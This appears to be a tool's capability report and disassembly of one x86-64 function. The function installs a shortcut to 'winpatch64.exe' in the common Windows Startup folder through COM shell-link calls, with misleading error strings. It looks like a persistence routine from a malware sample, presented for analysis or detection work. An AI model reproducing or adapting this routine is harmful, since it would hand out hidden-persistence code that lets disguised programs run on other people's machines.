Function at 0x401bdd
Capabilities:
Get common file path
Get startup folder

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x460
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov r8, rax
movabs rax, 0x104
mov r11, rax
lea rax, [rbp - 0x20c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0040555c
mov dword [rbp - 0x210], eax
mov eax, dword [rbp - 0x210]
cmp eax, 0
jge 0x401c58
mov eax, 0x1010
mov r9, rax
lea rax, [0x00408006]
mov r8, rax
lea rax, str.StringCchCopyW_failed
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.user32.dll_MessageBoxW
jmp 0x4020af
lea rax, str.winpatch64.exe
mov r11, rax
lea rax, [rbp - 0x20c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.Shlwapi.dll_PathAppendW
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
cmp eax, 0
jge 0x401cbf
mov eax, 0x1010
mov r9, rax
lea rax, [0x0040806e]
mov r8, rax
lea rax, str.PathAppendW_failed
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.user32.dll_MessageBoxW
jmp 0x4020af
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.ole32.dll_CoInitialize
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
cmp eax, 0
jge 0x401d1c
mov eax, 0x1010
mov r9, rax
lea rax, [0x004080ba]
mov r8, rax
lea rax, str.CoInitialize_failed
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.user32.dll_MessageBoxW
jmp 0x4020af
lea rax, [rbp - 0x218]
mov qword [rsp + 0x20], rax
lea rax, [0x004073e4]
mov r9, rax
mov eax, 1
mov r8, rax
movabs rax, 0
mov r11, rax
lea rax, [0x00407104]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.ole32.dll_CoCreateInstance
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
cmp eax, 0
jge 0x401da4
mov eax, 0x1010
mov r9, rax
lea rax, [0x0040810e]
mov r8, rax
lea rax, str.CoCreateInstance_failed
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.user32.dll_MessageBoxW
jmp 0x4020af
mov rax, qword [rbp - 0x218]
mov rax, qword [rax]
add rax, 0xa0
lea rcx, [rbp - 0x20c]
mov r11, rcx
mov rcx, qword [rbp - 0x218]
mov r10, rcx
mov qword [rbp - 0x220], rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x220]
mov r11, qword [r11]
call r11
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
cmp eax, 0
jge 0x401e5a
mov eax, 0x1010
mov r9, rax
lea rax, [0x00408150]
mov r8, rax
lea rax, str.SetPath_failed
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.user32.dll_MessageBoxW
mov rax, qword [rbp - 0x218]
mov rax, qword [rax]
add rax, 0x10
mov rcx, qword [rbp - 0x218]
mov r10, rcx
mov qword [rbp - 0x220], rax
mov rcx, r10
mov r11, qword [rbp - 0x220]
mov r11, qword [r11]
call r11
jmp 0x4020af
mov rax, qword [rbp - 0x218]
mov rax, qword [rax]
lea rcx, [rbp - 0x228]
mov r8, rcx
lea rcx, [0x00407d04]
mov r11, rcx
mov rcx, qword [rbp - 0x218]
mov r10, rcx
mov qword [rbp - 0x220], rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x220]
mov r11, qword [r11]
call r11
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
cmp eax, 0
jge 0x401f13
mov eax, 0x1010
mov r9, rax
lea rax, [0x004081a0]
mov r8, rax
lea rax, str.QueryInterface_failed
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.user32.dll_MessageBoxW
mov rax, qword [rbp - 0x218]
mov rax, qword [rax]
add rax, 0x10
mov rcx, qword [rbp - 0x218]
mov r10, rcx
mov qword [rbp - 0x220], rax
mov rcx, r10
mov r11, qword [rbp - 0x220]
mov r11, qword [r11]
call r11
jmp 0x4020af
lea rax, [rbp - 0x430]
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
movabs rax, 0
mov r8, rax
mov eax, 0x18
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.Shell32.dll_SHGetFolderPathW
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
cmp eax, 0
jl 0x40201d
lea rax, [0x004081c4]
mov r11, rax
lea rax, [rbp - 0x430]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.Shlwapi.dll_PathAppendW
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
cmp eax, 0
jl 0x402018
mov rax, qword [rbp - 0x228]
mov rax, qword [rax]
add rax, 0x30
mov ecx, 1
mov r8, rcx
lea rcx, [rbp - 0x430]
mov r11, rcx
mov rcx, qword [rbp - 0x228]
mov r10, rcx
mov qword [rbp - 0x220], rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x220]
mov r11, qword [r11]
call r11
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
cmp eax, 0
jge 0x402018
mov eax, 0x1010
mov r9, rax
lea rax, [0x0040821a]
mov r8, rax
lea rax, str.Failed_to_save_memory_addresses
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.user32.dll_MessageBoxW
jmp 0x402051
mov eax, 0x1010
mov r9, rax
lea rax, [0x00408284]
mov r8, rax
lea rax, str.Failed_to_retrieve_memory_adresses
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.user32.dll_MessageBoxW
mov rax, qword [rbp - 0x228]
mov rax, qword [rax]
add rax, 0x10
mov rcx, qword [rbp - 0x228]
mov r10, rcx
mov qword [rbp - 0x220], rax
mov rcx, r10
mov r11, qword [rbp - 0x220]
mov r11, qword [r11]
call r11
mov rax, qword [rbp - 0x218]
mov rax, qword [rax]
add rax, 0x10
mov rcx, qword [rbp - 0x218]
mov r10, rcx
mov qword [rbp - 0x220], rax
mov rcx, r10
mov r11, qword [rbp - 0x220]
mov r11, qword [r11]
call r11
leave
ret